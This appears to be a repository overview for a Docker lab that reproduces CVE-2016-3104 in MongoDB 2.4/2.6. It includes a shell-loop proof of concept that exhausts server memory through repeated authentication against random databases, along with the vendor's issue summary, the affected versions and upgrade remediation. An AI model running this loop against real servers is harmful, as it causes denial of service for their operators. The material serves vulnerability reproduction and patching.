cabusar/cve-2016-3104 repository overview

⁠HOW TO

1. Lauch docker image

    docker run cabusar/cve-2016-3104

1. Get the container IP

   docker ps |grep cve-2016-3104
   docker inspect [DOCKERID] |grep IPAddress

1. Install mongodb-client on the host

• Debian/Ubuntu : apt-get install mongodb-clients

• Other : Consider using the package manager of your system

1. Use the POC

/!\ Be careful, this script create in-memory database representation and would kill mongodb service by memory exhaustion /!\

while true;
do
        mongo [CONTAINER-IP] -u foo -p foo --authenticationDatabase $RANDOM$RANDOM$RANDOM 
done

(Consider to add "&" at the end of the command in order to improve attack speed, but this can crash the client, use at your own tisk)

• Copy/paste in "yourscript.sh" and replace [CONTAINER-IP]
• chmod +x yourscript.sh
• ./yourscript.sh

Check http://[CONTAINER-IP]:28017 and look at "# databases: " in Overview section.

⁠SERVER-24378

https://jira.mongodb.org/browse/SERVER-24378⁠

### ISSUE SUMMARY Authenticating against non-existent database that contains 2.4-style users creates database in memory.

This bug has been assigned CVE-2016-3104.

⁠USER IMPACT

In-memory representation of databases increases memory consumption in mongod. In very extreme cases this increase in memory consumption may cause mongod to run out of memory and either terminate or be terminated by the operating system’s OOM killer.

⁠AFFECTED VERSIONS

This issue only affects the following MongoDB versions when running with authentication under the following conditions:

MongoDB version 2.4
MongoDB version 2.6 when running with 2.4-style users

To find out if your deployment has 2.4-style users please see the documentation on auth schemas.

Neither MongoDB 2.6 with 2.6-style users, nor MongoDB 3.0 and newer are affected by this issue.

⁠WORKAROUNDS AND REMEDIATION

There’s no workaround for this issue in MongoDB 2.4. Users affected by this issue should consider upgrading to a newer version.

MongoDB 2.6 users affected by this issue should complete the 2.6 upgrade process and upgrade their authorization schema.

For more information on remediation please see the Security Manual and the Security Checklist.